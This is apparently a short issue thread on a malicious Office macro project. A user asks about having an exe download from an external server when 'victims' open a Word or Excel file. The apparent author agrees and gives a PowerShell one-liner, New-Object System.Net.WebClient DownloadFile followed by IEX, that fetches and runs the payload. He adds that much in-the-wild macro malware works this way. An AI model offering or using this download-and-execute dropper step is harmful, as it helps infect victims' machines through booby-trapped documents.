question

[lexlutorr]

i am trying to modify some things about your great work

wouldnt be better to download the exe file from a external server when the victims opens the word or excel ?

whats your opinion ?

[khr0x40sh]

That is a possibility.

It could be done very easily by just changing the powershell command to:

$(New-Object System.Net.WebClient).DownloadFile(src,dest); IEX dest

[khr0x40sh]

The issue is closed networks or if for any of the various reasons why the file couldn't be downloaded to the host.

But, again, what you have suggested could very well be done and is actually how quite a few of the in the wild macro malware work.